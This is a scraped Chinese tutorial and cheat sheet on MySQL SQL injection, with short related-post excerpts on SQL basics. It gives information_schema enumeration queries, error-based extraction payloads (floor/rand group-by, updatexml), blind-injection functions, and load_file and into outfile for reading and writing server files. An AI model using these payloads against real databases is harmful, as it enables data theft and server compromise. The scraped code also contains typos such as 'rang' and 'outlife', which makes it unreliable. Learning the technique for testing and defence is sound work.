SQL注入基本知識及常用函式

2021-10-04 05:33:34 字數 2250 閱讀 1221

查庫

select schema_name from information_schema.schemata;
查表

select table_name from information_schema.

tables

where table_schema=

'資料庫名'

查列:

select column_name from information_schema.

columns

where table_name=

'表名'

查字段

select

*from 表名.列名

system_user()

// 顯示系統使用者

user()

// 目前登陸使用者

session_user()

// 連線資料庫的使用者名稱

database()

// 當前資料庫

version(

)// 資料庫版本資訊

@@datadir

// 資料庫路徑

@@version_compile_os

// 當前作業系統版本

count()

// 總個數

group

by// 分組

floor(

)// 向下取整,去掉小數部分

rand(

)// 0-1隨機取數

// 當rang(0)時,傳入floor()

floor(rang(0)

*2)// 序列0110110

**原理:**報錯的時候會把資料庫名爆出來

select

count(*

),(concat(floor(rand(0)

*2),

0x26,(

select

database()

)))x from users group

by x;

// group by 查詢時,先建立乙個空表

upadtexml(

)extractvalue(

)updatexml(

1,2,concat(

0x7e,(

database()

),0x7e))

// 最大長度32位

// left(a,b)從左擷取a的前b位,正確則返回1,錯誤則返回0

left()

left

(database()

,1)=

's'// user的結果是root,regexp為匹配root的正規表示式

regexp

select

user()

regexp

'r'// 匹配與regexp相似

like

select

user()

like

'ro%'

if(condition,a,b)

// 如果condition為true,則執行語句a,否則執行b

// 例:select if(1>2,4,5) 返回的結果是5

// substr(a,b,c)從位置b開始,擷取a字串c位長度

// 匹配第乙個字元是否是's'

substr(a,b,c)

select substr(

select,1

,1)=

's'// 長度

length(

)//

benchmark(

)// 將某個字串轉化為ascii值

ascii(

)// 在python中

char

(數字)

= 字元

ord(

'字元'

)= 數字

// 讀取本地檔案

load_file(

)select load_file(

'檔案路徑'

);// 寫檔案

into

outfile

select

'mysql is very good'

into outlife 'test.txt'

; 注意:報錯時應使用://

sql注入的基本知識

我們看到的sql注入類題目經常包含直接在資料庫的系統資料庫類來得到資訊,這個資料庫的名字為information schema這個資料庫便是系統的資料庫,用來儲存我們建立的資料庫和資料表的基本資訊,而我接下來介紹的便是對這個資料庫的認識。我們可以檢視information schema這個資料庫裡有...

SQL基本知識

什麼是sql資料庫?資料庫是用來存放您的會員資料的地方,而空間是存放您的網頁的地方,資料庫一般有兩種,access 和 mysql 其區別就在於access一般用於會員資料比較小的 而mysql一般用於會員比較多的 我們採用的是mysql資料庫。什麼是mysql?mysql是乙個多使用者 多執行緒的...

SQL基本知識

1 資料庫結構 以mysql為例,mysql伺服器裡面可以有多個資料庫,乙個資料庫裡面可以有多張表 一般而言,乙個系統 軟體,專案 就設計乙個資料庫,乙個資料庫裡面設計多張表,每一張表對應乙個實體類 2.什麼是sql?structure query language 結構化查詢語言 通過sql語句可...